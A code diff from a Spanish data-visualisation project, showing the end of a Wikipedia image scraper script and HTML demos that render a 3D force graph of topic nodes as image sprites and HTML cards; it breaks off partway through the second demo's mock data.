||||
# 3. Obtener info de la imagen
|
||||
try:
|
||||
img_info = get_image_info(img_title)
|
||||
time.sleep(0.2) # respetar rate limit Wikimedia
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
if not img_info or not img_info.get("url"):
|
||||
continue
|
||||
|
||||
# 4. Filtrar
|
||||
skip, motivo = should_skip(img_title, img_info)
|
||||
if skip:
|
||||
continue
|
||||
|
||||
# 5. Nombre de archivo local
|
||||
original_name = Path(urlparse(img_info["url"]).path).name
|
||||
ext = Path(original_name).suffix.lower() or ".jpg"
|
||||
safe_name = f"{tema_slug}_{total_downloaded:03d}{ext}"
|
||||
dest_path = tema_dir / safe_name
|
||||
|
||||
# Saltar si ya existe
|
||||
if dest_path.exists():
|
||||
print(f" ↳ ya existe: {safe_name}")
|
||||
total_downloaded += 1
|
||||
continue
|
||||
|
||||
# 6. Descargar
|
||||
print(f" ↓ {safe_name} ({img_info['width']}x{img_info['height']} {img_info['size_bytes']//1024}KB)")
|
||||
success = download_image(img_info["url"], dest_path)
|
||||
|
||||
if success:
|
||||
meta = {
|
||||
"archivo": safe_name,
|
||||
"image_path": str(dest_path.resolve()),
|
||||
"tema": tema.lower(),
|
||||
"subtema": article["title"].lower(),
|
||||
"texto": article.get("snippet", ""),
|
||||
"descripcion_wiki": img_info.get("descripcion", ""),
|
||||
"autor": img_info.get("autor", ""),
|
||||
"licencia": img_info.get("licencia", ""),
|
||||
"url_original": img_info.get("url_original", ""),
|
||||
"width": img_info["width"],
|
||||
"height": img_info["height"],
|
||||
"size_bytes": img_info["size_bytes"],
|
||||
"source_type": "wikipedia_imagen",
|
||||
"lang": self.lang,
|
||||
"fecha": datetime.now().strftime("%Y-%m-%d"),
|
||||
"articulo_wiki": article["title"],
|
||||
"keywords": [], # se rellenan con image_analyzer.py
|
||||
}
|
||||
downloaded.append(meta)
|
||||
total_downloaded += 1
|
||||
else:
|
||||
print(f" ✗ fallo descarga")
|
||||
|
||||
print(f"\n[WikiScraper] Descargadas: {total_downloaded} imágenes en {tema_dir}")
|
||||
return downloaded
|
||||
|
||||
def scrape_multitema(self, temas: list[str], max_per_tema: int = 20) -> list[dict]:
|
||||
"""Descarga imágenes para múltiples temas."""
|
||||
all_results = []
|
||||
for tema in temas:
|
||||
results = self.scrape_tema(tema, max_images=max_per_tema)
|
||||
all_results.extend(results)
|
||||
time.sleep(1) # pausa entre temas
|
||||
return all_results
|
||||
|
||||
def save_metadata(self, metadata: list[dict], json_path: Path = None) -> Path:
|
||||
"""Guarda metadatos en JSON."""
|
||||
if json_path is None:
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
json_path = self.output_dir / f"metadata_{ts}.json"
|
||||
|
||||
with open(json_path, "w", encoding="utf-8") as f:
|
||||
json.dump(metadata, f, ensure_ascii=False, indent=2)
|
||||
|
||||
print(f"[WikiScraper] Metadatos guardados: {json_path}")
|
||||
return json_path
|
||||
|
||||
def save_to_mongo(self, metadata: list[dict]) -> dict:
|
||||
"""Guarda metadatos en MongoDB colección 'imagenes_wiki'."""
|
||||
from mongo_helper import MongoHelper
|
||||
mongo = MongoHelper()
|
||||
|
||||
if not mongo.is_available():
|
||||
print("[WikiScraper] MongoDB no disponible — solo JSON local")
|
||||
return {"inserted": 0, "updated": 0}
|
||||
|
||||
# Usar colección imagenes_wiki para no mezclar con imagenes analizadas
|
||||
db = mongo.connect()
|
||||
from pymongo import UpdateOne
|
||||
col = db["imagenes_wiki"]
|
||||
col.create_index("archivo", unique=True)
|
||||
|
||||
ops = [
|
||||
UpdateOne({"archivo": doc["archivo"]}, {"$set": doc}, upsert=True)
|
||||
for doc in metadata
|
||||
]
|
||||
if ops:
|
||||
result = col.bulk_write(ops)
|
||||
stats = {"inserted": result.upserted_count, "updated": result.modified_count}
|
||||
else:
|
||||
stats = {"inserted": 0, "updated": 0}
|
||||
|
||||
print(f"[WikiScraper] MongoDB imagenes_wiki → {stats}")
|
||||
mongo.disconnect()
|
||||
return stats
|
||||
|
||||
|
||||
# ── CLI ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Temas de FLUJOS por defecto
|
||||
TEMAS_FLUJOS = [
|
||||
"cambio climático",
|
||||
"geopolítica conflictos",
|
||||
"seguridad internacional espionaje",
|
||||
"libertad de prensa periodismo",
|
||||
"corporaciones poder económico",
|
||||
"populismo extremismo",
|
||||
"desinformación redes sociales",
|
||||
"privacidad vigilancia masiva",
|
||||
"biodiversidad medioambiente",
|
||||
"inteligencia artificial algoritmos",
|
||||
]
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="Descarga imágenes de Wikipedia por tema")
|
||||
|
||||
group = parser.add_mutually_exclusive_group(required=True)
|
||||
group.add_argument("--tema", help="Tema único a buscar (ej: 'cambio climático')")
|
||||
group.add_argument("--temas", help="Fichero .txt con un tema por línea")
|
||||
group.add_argument("--flujos", action="store_true", help="Usar los temas de FLUJOS por defecto")
|
||||
|
||||
parser.add_argument("--max", type=int, default=20, help="Máximo imágenes por tema (default: 20)")
|
||||
parser.add_argument("--lang", default="es", help="Idioma Wikipedia: es | en (default: es)")
|
||||
parser.add_argument("--output", default=str(OUTPUT_BASE), help="Carpeta de destino")
|
||||
parser.add_argument("--mongo", action="store_true", help="Guardar metadatos en MongoDB")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
scraper = WikipediaImageScraper(output_dir=Path(args.output), lang=args.lang)
|
||||
|
||||
# Determinar lista de temas
|
||||
if args.flujos:
|
||||
temas = TEMAS_FLUJOS
|
||||
elif args.temas:
|
||||
with open(args.temas, encoding="utf-8") as f:
|
||||
temas = [l.strip() for l in f if l.strip()]
|
||||
else:
|
||||
temas = [args.tema]
|
||||
|
||||
# Ejecutar
|
||||
if len(temas) == 1:
|
||||
metadata = scraper.scrape_tema(temas[0], max_images=args.max)
|
||||
else:
|
||||
metadata = scraper.scrape_multitema(temas, max_per_tema=args.max)
|
||||
|
||||
# Guardar resultados
|
||||
if metadata:
|
||||
json_path = scraper.save_metadata(metadata)
|
||||
print(f"\n Total imágenes descargadas: {len(metadata)}")
|
||||
print(f" JSON: {json_path}")
|
||||
|
||||
if args.mongo:
|
||||
scraper.save_to_mongo(metadata)
|
||||
else:
|
||||
print("\n No se descargaron imágenes.")
|
||||
301
INFO/POCS/VISUALIZACION/public/demos/demo_img_nodes.html
Normal file
301
INFO/POCS/VISUALIZACION/public/demos/demo_img_nodes.html
Normal file
|
|
@ -0,0 +1,301 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>FLUJOS — Demo: Image Nodes</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||
|
||||
<script type="importmap">
|
||||
{
|
||||
"imports": {
|
||||
"three": "https://esm.sh/three@0.168",
|
||||
"three/": "https://esm.sh/three@0.168/",
|
||||
"3d-force-graph": "https://esm.sh/3d-force-graph@1.73?external=three"
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Fira Code', monospace; }
|
||||
body { background: #000; color: #39ff14; overflow: hidden; }
|
||||
|
||||
#graph { position: fixed; top: 0; left: 0; width: 100%; height: 100%; }
|
||||
|
||||
#header {
|
||||
position: fixed; top: 0; left: 0; right: 0; z-index: 10;
|
||||
padding: 10px 20px;
|
||||
background: linear-gradient(180deg, rgba(0,0,0,0.9) 0%, transparent 100%);
|
||||
display: flex; align-items: center; gap: 16px;
|
||||
}
|
||||
#header h1 { font-size: 1.1em; color: #39ff14; letter-spacing: 3px; text-shadow: 0 0 10px #39ff14; }
|
||||
#header .tag {
|
||||
font-size: 0.65em; padding: 3px 8px;
|
||||
border: 1px solid #ff4500; color: #ff4500;
|
||||
opacity: 0.8; letter-spacing: 2px;
|
||||
}
|
||||
|
||||
#info-panel {
|
||||
position: fixed; bottom: 30px; right: 20px; z-index: 10;
|
||||
width: 300px;
|
||||
background: rgba(0,0,0,0.9);
|
||||
border: 1px solid #333;
|
||||
display: none;
|
||||
overflow: hidden;
|
||||
}
|
||||
#info-panel .panel-img {
|
||||
width: 100%; height: 120px;
|
||||
object-fit: cover; display: block;
|
||||
opacity: 0.8;
|
||||
}
|
||||
#info-panel .panel-img-placeholder {
|
||||
width: 100%; height: 120px;
|
||||
background: #111;
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
font-size: 2em; color: #333;
|
||||
}
|
||||
#info-panel .panel-body { padding: 12px 16px; }
|
||||
#info-panel h3 { font-size: 0.85em; color: #fff; margin-bottom: 6px; }
|
||||
#info-panel .group-badge {
|
||||
display: inline-block; padding: 2px 8px;
|
||||
font-size: 0.65em; letter-spacing: 2px; margin-bottom: 8px;
|
||||
}
|
||||
#info-panel p { font-size: 0.72em; color: #888; line-height: 1.5; }
|
||||
#info-panel .close {
|
||||
position: absolute; top: 8px; right: 10px; z-index: 1;
|
||||
cursor: pointer; color: #fff; font-size: 0.8em;
|
||||
background: rgba(0,0,0,0.6); border: none; font-family: inherit;
|
||||
padding: 2px 6px;
|
||||
}
|
||||
|
||||
#technique-label {
|
||||
position: fixed; top: 50px; right: 20px; z-index: 10;
|
||||
font-size: 0.6em; color: #333; letter-spacing: 1px;
|
||||
text-align: right; line-height: 1.8;
|
||||
}
|
||||
|
||||
#legend {
|
||||
position: fixed; bottom: 30px; left: 20px; z-index: 10;
|
||||
background: rgba(0,0,0,0.8); border: 1px solid #222;
|
||||
padding: 12px 16px;
|
||||
}
|
||||
#legend h4 { font-size: 0.6em; color: #444; margin-bottom: 8px; letter-spacing: 2px; }
|
||||
.legend-row { display: flex; align-items: center; gap: 8px; margin-bottom: 4px; }
|
||||
.legend-img { width: 20px; height: 20px; object-fit: cover; opacity: 0.7; }
|
||||
.legend-sphere { width: 10px; height: 10px; border-radius: 50%; }
|
||||
.legend-label { font-size: 0.62em; color: #666; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph"></div>
|
||||
|
||||
<div id="header">
|
||||
<h1>FLUJOS</h1>
|
||||
<span class="tag">IMAGE NODES</span>
|
||||
<span class="tag">THREE.Sprite + TextureLoader</span>
|
||||
</div>
|
||||
|
||||
<div id="info-panel">
|
||||
<button class="close" onclick="document.getElementById('info-panel').style.display='none'">✕</button>
|
||||
<img id="panel-img" class="panel-img" src="" alt="" style="display:none">
|
||||
<div id="panel-placeholder" class="panel-img-placeholder">◈</div>
|
||||
<div class="panel-body">
|
||||
<h3 id="node-title"></h3>
|
||||
<span class="group-badge" id="node-group"></span>
|
||||
<p id="node-content"></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="legend">
|
||||
<h4>NODOS CON IMAGEN</h4>
|
||||
<div class="legend-row">
|
||||
<img class="legend-img" src="/images/flujos_logo.png" alt="">
|
||||
<span class="legend-label">FLUJOS (core)</span>
|
||||
</div>
|
||||
<div class="legend-row">
|
||||
<img class="legend-img" src="/images/flujos3.jpg" alt="">
|
||||
<span class="legend-label">Cambio Climático</span>
|
||||
</div>
|
||||
<div class="legend-row">
|
||||
<img class="legend-img" src="/images/journalist_fondo.jpg" alt="">
|
||||
<span class="legend-label">Libertad de Prensa</span>
|
||||
</div>
|
||||
<h4 style="margin-top:8px">NODOS ESFERA</h4>
|
||||
<div class="legend-row">
|
||||
<div class="legend-sphere" style="background:#ff69b4"></div>
|
||||
<span class="legend-label">security</span>
|
||||
</div>
|
||||
<div class="legend-row">
|
||||
<div class="legend-sphere" style="background:#ffdc00"></div>
|
||||
<span class="legend-label">corporate</span>
|
||||
</div>
|
||||
<div class="legend-row">
|
||||
<div class="legend-sphere" style="background:#4488ff"></div>
|
||||
<span class="legend-label">politics</span>
|
||||
</div>
|
||||
<div class="legend-row">
|
||||
<div class="legend-sphere" style="background:#cc44ff"></div>
|
||||
<span class="legend-label">data</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="technique-label">
|
||||
nodeThreeObject(node => Sprite)<br>
|
||||
new THREE.TextureLoader().load(img)<br>
|
||||
new THREE.SpriteMaterial({ map })<br>
|
||||
— THREE.js Sprite billboard —
|
||||
</div>
|
||||
|
||||
<script type="module">
|
||||
import ForceGraph3D from '3d-force-graph';
|
||||
import * as THREE from 'three';
|
||||
|
||||
// Nodes with `img` get rendered as image sprites.
|
||||
// Nodes without `img` fall back to a colored sphere (default).
|
||||
const GROUP_COLORS = {
|
||||
core: '#39ff14',
|
||||
climate: '#ff4500',
|
||||
security: '#ff69b4',
|
||||
journalism: '#00fff2',
|
||||
corporate: '#ffdc00',
|
||||
politics: '#4488ff',
|
||||
data: '#cc44ff'
|
||||
};
|
||||
|
||||
// Images are served from the project's /images/ folder
|
||||
const MOCK_DATA = {
|
||||
nodes: [
|
||||
{ id: 'FLUJOS', group: 'core', img: '/images/flujos_logo.png', size: 22, content: 'Sistema de visualización de flujos de información global' },
|
||||
{ id: 'Cambio Climático', group: 'climate', img: '/images/flujos3.jpg', size: 18, content: 'Crisis climática y sus efectos sociopolíticos' },
|
||||
{ id: 'Seguridad Intl.', group: 'security', img: '/images/flujos4.jpg', size: 16, content: 'Geopolítica y conflictos armados globales' },
|
||||
{ id: 'Libertad de Prensa', group: 'journalism', img: '/images/journalist_fondo.jpg', size: 16, content: 'Estado global de la libertad periodística' },
|
||||
{ id: 'Eco-Corporativo', group: 'corporate', img: '/images/flujos7.jpg', size: 16, content: 'Poder corporativo e influencia política' },
|
||||
{ id: 'Populismo', group: 'politics', img: '/images/flujos8.jpg', size: 16, content: 'Auge de movimientos populistas globales' },
|
||||
{ id: 'Wikipedia', group: 'data', img: '/images/flujos_logo3.png', size: 14, content: 'Enciclopedia libre como fuente de datos' },
|
||||
// Leaf nodes — rendered as default colored spheres
|
||||
{ id: 'Emisiones CO₂', group: 'climate', content: 'Emisiones industriales de CO₂' },
|
||||
{ id: 'Energía Renovable', group: 'climate', content: 'Transición a fuentes sostenibles' },
|
||||
{ id: 'Pérdida Biodiversidad',group: 'climate', content: 'Extinción de especies y ecosistemas' },
|
||||
{ id: 'Ciberseguridad', group: 'security', content: 'Ataques cibernéticos estatales' },
|
||||
{ id: 'Vigilancia Masiva', group: 'security', content: 'Programas de espionaje gubernamental' },
|
||||
{ id: 'Privacidad Datos', group: 'security', content: 'Derechos digitales y datos personales' },
|
||||
{ id: 'Desinformación', group: 'journalism', content: 'Fake news y manipulación informativa' },
|
||||
{ id: 'Whistleblowers', group: 'journalism', content: 'Snowden, Assange, Panama Papers...' },
|
||||
{ id: 'Big Tech', group: 'corporate', content: 'Monopolios: Google, Meta, Amazon...' },
|
||||
{ id: 'Paraísos Fiscales', group: 'corporate', content: 'Evasión fiscal corporativa offshore' },
|
||||
{ id: 'Lobbying', group: 'corporate', content: 'Grupos de presión legislativa' },
|
||||
{ id: 'Elecciones', group: 'politics', content: 'Procesos electorales e interferencia' },
|
||||
{ id: 'Migración', group: 'politics', content: 'Crisis migratoria y fronteras' },
|
||||
{ id: 'Extremismo', group: 'politics', content: 'Radicalización y movimientos extremistas' },
|
||||
{ id: 'Redes Sociales', group: 'data', content: 'Plataformas sociales como vectores' },
|
||||
{ id: 'IA & Algoritmos', group: 'data', content: 'IA, sesgos y control algorítmico' },
|
||||
{ id: 'Torrents & P2P', group: 'data', content: 'Distribución descentralizada de info' },
|
||||
],
|
||||
links: [
|
||||
{ source: 'FLUJOS', target: 'Cambio Climático', value: 90 },
|
||||
{ source: 'FLUJOS', target: 'Seguridad Intl.', value: 85 },
|
||||
{ source: 'FLUJOS', target: 'Libertad de Prensa', value: 88 },
|
||||
{ source: 'FLUJOS', target: 'Eco-Corporativo', value: 87 },
|
||||
{ source: 'FLUJOS', target: 'Populismo', value: 82 },
|
||||
{ source: 'FLUJOS', target: 'Wikipedia', value: 95 },
|
||||
{ source: 'FLUJOS', target: 'Torrents & P2P', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Emisiones CO₂', value: 92 },
|
||||
{ source: 'Cambio Climático', target: 'Energía Renovable', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Pérdida Biodiversidad',value: 85 },
|
||||
{ source: 'Emisiones CO₂', target: 'Eco-Corporativo', value: 78 },
|
||||
{ source: 'Energía Renovable', target: 'Big Tech', value: 65 },
|
||||
{ source: 'Seguridad Intl.', target: 'Ciberseguridad', value: 88 },
|
||||
{ source: 'Seguridad Intl.', target: 'Vigilancia Masiva', value: 85 },
|
||||
{ source: 'Seguridad Intl.', target: 'Migración', value: 75 },
|
||||
{ source: 'Ciberseguridad', target: 'Privacidad Datos', value: 90 },
|
||||
{ source: 'Vigilancia Masiva', target: 'Privacidad Datos', value: 92 },
|
||||
{ source: 'Vigilancia Masiva', target: 'Big Tech', value: 75 },
|
||||
{ source: 'Vigilancia Masiva', target: 'IA & Algoritmos', value: 82 },
|
||||
{ source: 'Libertad de Prensa',target: 'Desinformación', value: 88 },
|
||||
{ source: 'Libertad de Prensa',target: 'Whistleblowers', value: 85 },
|
||||
{ source: 'Desinformación', target: 'Redes Sociales', value: 90 },
|
||||
{ source: 'Desinformación', target: 'Elecciones', value: 85 },
|
||||
{ source: 'Desinformación', target: 'Extremismo', value: 80 },
|
||||
{ source: 'Eco-Corporativo', target: 'Big Tech', value: 85 },
|
||||
{ source: 'Eco-Corporativo', target: 'Paraísos Fiscales', value: 88 },
|
||||
{ source: 'Eco-Corporativo', target: 'Lobbying', value: 90 },
|
||||
{ source: 'Big Tech', target: 'IA & Algoritmos', value: 88 },
|
||||
{ source: 'Big Tech', target: 'Redes Sociales', value: 92 },
|
||||
{ source: 'Lobbying', target: 'Elecciones', value: 78 },
|
||||
{ source: 'Populismo', target: 'Elecciones', value: 88 },
|
||||
{ source: 'Populismo', target: 'Migración', value: 85 },
|
||||
{ source: 'Populismo', target: 'Extremismo', value: 82 },
|
||||
{ source: 'Extremismo', target: 'Redes Sociales', value: 78 },
|
||||
{ source: 'IA & Algoritmos', target: 'Redes Sociales', value: 85 },
|
||||
{ source: 'Wikipedia', target: 'Desinformación', value: 72 },
|
||||
]
|
||||
};
|
||||
|
||||
const textureCache = {};
|
||||
const loader = new THREE.TextureLoader();
|
||||
|
||||
function getTexture(url) {
|
||||
if (!textureCache[url]) {
|
||||
const tex = loader.load(url);
|
||||
tex.colorSpace = THREE.SRGBColorSpace;
|
||||
textureCache[url] = tex;
|
||||
}
|
||||
return textureCache[url];
|
||||
}
|
||||
|
||||
const elem = document.getElementById('graph');
|
||||
|
||||
const Graph = ForceGraph3D()(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(node => `<span style="font-family:Fira Code,monospace;color:${GROUP_COLORS[node.group]};font-size:12px">${node.id}</span>`)
|
||||
.nodeColor(node => GROUP_COLORS[node.group] || '#ffffff')
|
||||
.nodeVal(node => node.size ? node.size / 3 : 1.2)
|
||||
.linkColor(() => 'rgba(57,255,20,0.25)')
|
||||
.linkWidth(link => (link.value || 50) / 55)
|
||||
.nodeThreeObject(node => {
|
||||
if (!node.img) return null; // use default sphere for leaf nodes
|
||||
|
||||
const texture = getTexture(node.img);
|
||||
const material = new THREE.SpriteMaterial({ map: texture, transparent: true });
|
||||
const sprite = new THREE.Sprite(material);
|
||||
const s = node.size || 12;
|
||||
sprite.scale.set(s, s);
|
||||
return sprite;
|
||||
})
|
||||
.onNodeClick(node => {
|
||||
const panel = document.getElementById('info-panel');
|
||||
document.getElementById('node-title').textContent = node.id;
|
||||
|
||||
const badge = document.getElementById('node-group');
|
||||
badge.textContent = node.group.toUpperCase();
|
||||
badge.style.background = GROUP_COLORS[node.group] + '22';
|
||||
badge.style.border = `1px solid ${GROUP_COLORS[node.group]}`;
|
||||
badge.style.color = GROUP_COLORS[node.group];
|
||||
|
||||
document.getElementById('node-content').textContent = node.content || '';
|
||||
|
||||
const imgEl = document.getElementById('panel-img');
|
||||
const placeholder = document.getElementById('panel-placeholder');
|
||||
if (node.img) {
|
||||
imgEl.src = node.img;
|
||||
imgEl.style.display = 'block';
|
||||
placeholder.style.display = 'none';
|
||||
} else {
|
||||
imgEl.style.display = 'none';
|
||||
placeholder.style.display = 'flex';
|
||||
}
|
||||
|
||||
panel.style.display = 'block';
|
||||
})
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.graphData(MOCK_DATA);
|
||||
|
||||
Graph.d3Force('charge').strength(-200);
|
||||
setTimeout(() => Graph.zoomToFit(600, 80), 1500);
|
||||
|
||||
window.addEventListener('resize', () => {
|
||||
Graph.width(elem.clientWidth).height(elem.clientHeight);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
346
INFO/POCS/VISUALIZACION/public/demos/demo_mixed_nodes.html
Normal file
346
INFO/POCS/VISUALIZACION/public/demos/demo_mixed_nodes.html
Normal file
|
|
@ -0,0 +1,346 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>FLUJOS — Demo: Mixed Nodes (HTML Cards)</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||
|
||||
<script type="importmap">
|
||||
{
|
||||
"imports": {
|
||||
"three": "https://esm.sh/three@0.168",
|
||||
"three/": "https://esm.sh/three@0.168/",
|
||||
"three-spritetext": "https://esm.sh/three-spritetext@1.9?external=three",
|
||||
"3d-force-graph": "https://esm.sh/3d-force-graph@1.73?external=three"
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Fira Code', monospace; }
|
||||
body { background: #000; color: #39ff14; overflow: hidden; }
|
||||
#graph { position: fixed; top: 0; left: 0; width: 100%; height: 100%; }
|
||||
|
||||
#header {
|
||||
position: fixed; top: 0; left: 0; right: 0; z-index: 10;
|
||||
padding: 10px 20px;
|
||||
background: linear-gradient(180deg, rgba(0,0,0,0.9) 0%, transparent 100%);
|
||||
display: flex; align-items: center; gap: 16px;
|
||||
}
|
||||
#header h1 { font-size: 1.1em; color: #39ff14; letter-spacing: 3px; text-shadow: 0 0 10px #39ff14; }
|
||||
#header .tag {
|
||||
font-size: 0.65em; padding: 3px 8px;
|
||||
border: 1px solid #cc44ff; color: #cc44ff;
|
||||
opacity: 0.8; letter-spacing: 2px;
|
||||
}
|
||||
|
||||
/* CSS2D node cards — these are real DOM elements positioned by THREE.js */
|
||||
.node-card {
|
||||
background: rgba(0,0,0,0.85);
|
||||
border: 1px solid var(--color, #39ff14);
|
||||
padding: 6px 10px;
|
||||
max-width: 160px;
|
||||
cursor: pointer;
|
||||
pointer-events: auto;
|
||||
transition: border-color 0.2s, box-shadow 0.2s;
|
||||
user-select: none;
|
||||
}
|
||||
.node-card:hover {
|
||||
box-shadow: 0 0 12px var(--color, #39ff14);
|
||||
}
|
||||
.node-card .card-title {
|
||||
font-size: 10px;
|
||||
font-weight: 700;
|
||||
color: #fff;
|
||||
letter-spacing: 0.5px;
|
||||
line-height: 1.3;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.node-card .card-badge {
|
||||
display: inline-block;
|
||||
font-size: 8px;
|
||||
padding: 1px 5px;
|
||||
letter-spacing: 1px;
|
||||
background: var(--color-bg, rgba(57,255,20,0.1));
|
||||
color: var(--color, #39ff14);
|
||||
border: 1px solid var(--color, #39ff14);
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.node-card .card-source {
|
||||
font-size: 8px;
|
||||
color: #555;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
/* Small leaf node labels */
|
||||
.node-label-small {
|
||||
font-size: 9px;
|
||||
color: var(--color, #666);
|
||||
background: rgba(0,0,0,0.7);
|
||||
padding: 2px 5px;
|
||||
pointer-events: none;
|
||||
white-space: nowrap;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
#technique-label {
|
||||
position: fixed; top: 50px; right: 20px; z-index: 10;
|
||||
font-size: 0.6em; color: #333; letter-spacing: 1px;
|
||||
text-align: right; line-height: 1.8;
|
||||
}
|
||||
|
||||
#controls {
|
||||
position: fixed; bottom: 30px; left: 20px; z-index: 10;
|
||||
background: rgba(0,0,0,0.8); border: 1px solid #222;
|
||||
padding: 12px 16px;
|
||||
}
|
||||
#controls h4 { font-size: 0.6em; color: #444; margin-bottom: 8px; letter-spacing: 2px; }
|
||||
.ctrl-row { display: flex; align-items: center; gap: 8px; margin-bottom: 6px; }
|
||||
.ctrl-row label { font-size: 0.65em; color: #666; }
|
||||
.ctrl-row input[type=range] { width: 100px; accent-color: #39ff14; }
|
||||
.ctrl-row span { font-size: 0.6em; color: #444; width: 30px; }
|
||||
|
||||
#selected-info {
|
||||
position: fixed; bottom: 30px; right: 20px; z-index: 10;
|
||||
width: 260px;
|
||||
background: rgba(0,0,0,0.9);
|
||||
border: 1px solid #222;
|
||||
padding: 14px;
|
||||
display: none;
|
||||
}
|
||||
#selected-info h3 { font-size: 0.8em; color: #fff; margin-bottom: 6px; }
|
||||
#selected-info .badge { font-size: 0.65em; padding: 2px 8px; margin-bottom: 8px; display: inline-block; }
|
||||
#selected-info p { font-size: 0.7em; color: #888; line-height: 1.5; margin-bottom: 6px; }
|
||||
#selected-info .meta { font-size: 0.65em; color: #555; }
|
||||
#selected-info .close {
|
||||
position: absolute; top: 8px; right: 10px;
|
||||
cursor: pointer; color: #555; font-size: 0.8em;
|
||||
background: none; border: none; font-family: inherit;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph"></div>
|
||||
|
||||
<div id="header">
|
||||
<h1>FLUJOS</h1>
|
||||
<span class="tag">HTML NODES</span>
|
||||
<span class="tag">CSS2DRenderer</span>
|
||||
</div>
|
||||
|
||||
<div id="technique-label">
|
||||
CSS2DRenderer + CSS2DObject<br>
|
||||
nodeThreeObject(node => CSS2DObject(div))<br>
|
||||
nodeThreeObjectExtend(true)<br>
|
||||
— Real DOM elements in 3D space —
|
||||
</div>
|
||||
|
||||
<div id="controls">
|
||||
<h4>VISUALIZACIÓN</h4>
|
||||
<div class="ctrl-row">
|
||||
<label>Umbral similitud</label>
|
||||
<input type="range" id="umbral" min="0" max="95" value="0" step="5">
|
||||
<span id="umbral-val">0%</span>
|
||||
</div>
|
||||
<div class="ctrl-row">
|
||||
<label>Carga D3</label>
|
||||
<input type="range" id="charge" min="-400" max="-50" value="-200" step="10">
|
||||
<span id="charge-val">-200</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="selected-info">
|
||||
<button class="close" onclick="document.getElementById('selected-info').style.display='none'">✕</button>
|
||||
<h3 id="sel-title"></h3>
|
||||
<span class="badge" id="sel-badge"></span>
|
||||
<p id="sel-content"></p>
|
||||
<div class="meta" id="sel-meta"></div>
|
||||
</div>
|
||||
|
||||
<script type="module">
|
||||
import ForceGraph3D from '3d-force-graph';
|
||||
import { CSS2DRenderer, CSS2DObject } from 'https://esm.sh/three@0.168/examples/jsm/renderers/CSS2DRenderer.js';
|
||||
|
||||
const GROUP_COLORS = {
|
||||
core: '#39ff14',
|
||||
climate: '#ff4500',
|
||||
security: '#ff69b4',
|
||||
journalism: '#00fff2',
|
||||
corporate: '#ffdc00',
|
||||
politics: '#4488ff',
|
||||
data: '#cc44ff'
|
||||
};
|
||||
|
||||
// `card: true` = rendered as HTML card (CSS2DObject)
|
||||
// `card: false` = rendered as colored sphere with small label
|
||||
const MOCK_DATA = {
|
||||
nodes: [
|
||||
// Hub nodes — full HTML cards
|
||||
{ id: 'FLUJOS', group: 'core', card: true, source: 'SISTEMA', connections: 7, content: 'Plataforma de análisis y visualización de flujos informativos globales' },
|
||||
{ id: 'Cambio Climático', group: 'climate', card: true, source: 'Wikipedia', connections: 5, content: 'Crisis climática: emisiones, biodiversidad, energía' },
|
||||
{ id: 'Seguridad Intl.', group: 'security', card: true, source: 'Noticias', connections: 4, content: 'Geopolítica, conflictos armados y espionaje global' },
|
||||
{ id: 'Libertad de Prensa', group: 'journalism', card: true, source: 'Wikipedia', connections: 4, content: 'Periodismo, desinformación y denunciantes' },
|
||||
{ id: 'Eco-Corporativo', group: 'corporate', card: true, source: 'Noticias', connections: 4, content: 'Poder corporativo, lobbying y paraísos fiscales' },
|
||||
{ id: 'Populismo', group: 'politics', card: true, source: 'Noticias', connections: 3, content: 'Movimientos populistas, elecciones y extremismo' },
|
||||
{ id: 'Wikipedia', group: 'data', card: true, source: 'Wikipedia', connections: 3, content: 'Fuente de datos abiertos y verificación factual' },
|
||||
{ id: 'Torrents & P2P', group: 'data', card: true, source: 'Torrents', connections: 2, content: 'Distribución descentralizada de información' },
|
||||
// Leaf nodes — small labels on spheres
|
||||
{ id: 'Emisiones CO₂', group: 'climate', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Energía Renovable', group: 'climate', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Pérdida Biodiversidad',group: 'climate', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Ciberseguridad', group: 'security', card: false, source: 'Noticias' },
|
||||
{ id: 'Vigilancia Masiva', group: 'security', card: false, source: 'Noticias' },
|
||||
{ id: 'Privacidad Datos', group: 'security', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Desinformación', group: 'journalism', card: false, source: 'Noticias' },
|
||||
{ id: 'Whistleblowers', group: 'journalism', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Big Tech', group: 'corporate', card: false, source: 'Noticias' },
|
||||
